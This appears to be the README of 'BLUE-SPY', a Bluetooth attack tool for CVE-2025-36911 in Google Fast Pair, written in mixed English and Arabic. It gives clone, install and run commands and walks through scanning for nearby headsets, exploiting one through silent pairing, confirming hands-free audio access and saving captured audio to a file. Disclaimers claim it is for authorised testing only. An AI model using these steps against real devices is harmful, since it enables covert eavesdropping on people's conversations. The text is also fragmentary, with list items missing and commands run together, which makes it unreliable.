
BLUE-SPY (Bluetooth Low Energy Universal Exploit - Security Penetration Testing) is a professional security assessment tool for analyzing CVE-2025-36911 vulnerabilities in Google's Fast Pair protocol implementation.
⚠️ هذا البرنامج مخصص فقط للبحث الأمني المصرح به والاختبار الأخلاقي ⚠️
الاستخدام غير المصرح به لهذه الأداة ضد أجهزة لا تملكها أو ليس لديك إذن كتابي صريح باختبارها غير قانوني وقد يؤدي إلى:
باستخدام هذه الأداة، فإنك تقر وتقبل المسؤولية الكاملة عن أفعالك.
BLUE-SPY (Bluetooth Low Energy Universal Exploit - Security Penetration Testing) هي أداة تقييم أمني احترافية لتحليل ثغرات CVE-2025-36911 في تطبيق بروتوكول Google Fast Pair. توفر الأداة:
bash
git clone https://github.com/Athexhacker/BLUE-SPY.git
cd BLUE-SPY
sudo apt-get update
sudo apt-get install -y \
python3-pip \
bluetooth \
bluez \
bluez-tools \
libbluetooth-dev \
libglib2.0-dev \
pulseaudio \
pulseaudio-module-bluetooth \
sox \
pavucontrol
sudo apt-get install -y python3-dev bash
pip3 install bleak dbus-python cryptography --break-system-packages
python3 -m venv BLUE-SPY-env source BLUE-SPY-env/bin/activate pip install bleak dbus-python cryptography
pip install pyaudio wave
bash
hciconfig -a
sudo systemctl stop bluetooth
sudo systemctl enable bluetooth sudo systemctl start bluetooth
sudo systemctl status bluetooth
sudo hciconfig hci0 piscan
sudo hciconfig hci0 reset
bash
bluetoothctl list
python3 -c "from bleak import BleakScanner; print('Bleak OK')"
sudo python3 BLUE-SPY.py
bash
git clone https://github.com/Athexhacker/BLUE-SPY.git cd BLUE-SPY
sudo apt-get install -y bluetooth bluez python3-pip pip3 install bleak cryptography
sudo python3 BLUE-SPY.py
Type: I ACCEPT RESPONSIBILITY
Select option: 1 (Quick Scan)
bash
sudo python3 BLUE-SPY.py
MAIN MENU: [1] Quick Device Scan (10 seconds) [2] Continuous Network Scan (60+ seconds) [3] Target Specific Device [4] Advanced Exploitation [5] View Previous Results [0] Exit
يقوم بمسح الأجهزة التي تستخدم بروتوكول Google Fast Pair. خيارات المدة:
المخرجات: قائمة بجميع أجهزة Fast Pair مع تصنيفات الثغرات (حرجة/عالية/متوسطة/منخفضة)
يعرض جميع أجهزة البلوتوث في الوقت الفعلي، مع تمييز أجهزة Fast Pair وتصنيفات الثغرات. يُظهر:
يسمح باستهداف جهاز معين بواسطة عنوان MAC لتحليل مفصل يشمل:
تصفح جميع نتائج المسح المحفوظة، ومحاولات الاستغلال، والصور الصوتية الملتقطة.
bash
sudo python3 BLUE-SPY.py
Type: I ACCEPT RESPONSIBILITY
Select option: 1 Select scan type: 1 (10-second scan)
Found 3 Fast Pair device(s):
[CRITICAL] Sony WH-1000XM4 Address: 11:22:33:44:55:66 Model: abcd1234, RSSI: -45dBm Status: CRITICAL - Highly Vulnerable
[MEDIUM] Galaxy Buds Pro Address: AA:BB:CC:DD:EE:FF Model: efgh5678, RSSI: -62dBm Status: MEDIUM - Potentially Vulnerable
Select option: 5 Choose device number: 1 Type 'EXPLOIT' to proceed: EXPLOIT
Exploit result: PAIRING SUCCESSFUL [SUCCESS] Device may be compromised.
Test HFP connection? (y/n): y [CRITICAL] HFP AUDIO ACCESS CONFIRMED!
Attempt audio capture? (y/n): y [SUCCESS] Audio captured successfully! File: blue_spy_results/audio/capture_112233445566_20250120_093022.wav
يقوم BLUE-SPY تلقائيًا بحفظ جميع النتائج في أدلة منظمة:
text blue_spy_results/ ├── scans/ │ ├── scan_20250120_093022.json │ ├── all_devices_20250120_093022.json │ └── target_112233445566_20250120_094155.json ├── exploits/ │ ├── exploit_112233445566_20250120_094155.json │ └── batch_20250120_095233.json └── audio/ └── capture_112233445566_20250120_094230.wav
json { "timestamp": "2026-01-20T09:30:22.123456", "device_count": 3, "devices": [ { "address": "11:22:33:44:55:66", "name": "Sony WH-1000XM4", "rssi": -45, "model_id": "abcd1234", "flags": 0, "tx_power": 4, "vulnerability_status": "CRITICAL - Highly Vulnerable", "vulnerability_score": 75, "vulnerability_reasons": [ "Silent pairing possible", "No passkey required" ] } ] }
bash
hciconfig -a sudo hciconfig hci0 reset
sudo python3 BLUE-SPY.py
sudo hciconfig hci0 piscan bluetoothctl scan on
sudo systemctl restart bluetooth sudo hciconfig hci0 reset
bash
pip3 install --upgrade bleak
pip3 install --upgrade cryptography
sudo apt-get install python3-dbus
bash
bluetoothctl
list # عرض المحولات المتاحة show # عرض تفاصيل المحول scan on # بدء المسح
scan off # إيقاف المسح devices # قائمة الأجهزة المكتشفة exit
إذا اكتشفت ثغرات باستخدام هذه الأداة:
تم توفير هذا البرنامج للأغراض التعليمية ولاختبار الأمان المصرح به فقط. المؤلفون والمساهمون:
باستخدام هذا البرنامج، فإنك توافق على:
| التصنيف | النتيجة | الوصف |
|---|
| حرجة | 60-100 | شديدة الضعف - إمكانية الاقتران الصامت |
| عالية | 40-59 | ضعيفة على الأرجح - علامات أمنية مفقودة |
| متوسطة | 20-39 | قد تكون ضعيفة - تحتاج إلى تحقيق |
| منخفضة | 0-19 | ربما تم التصحيح - تبدو آمنة |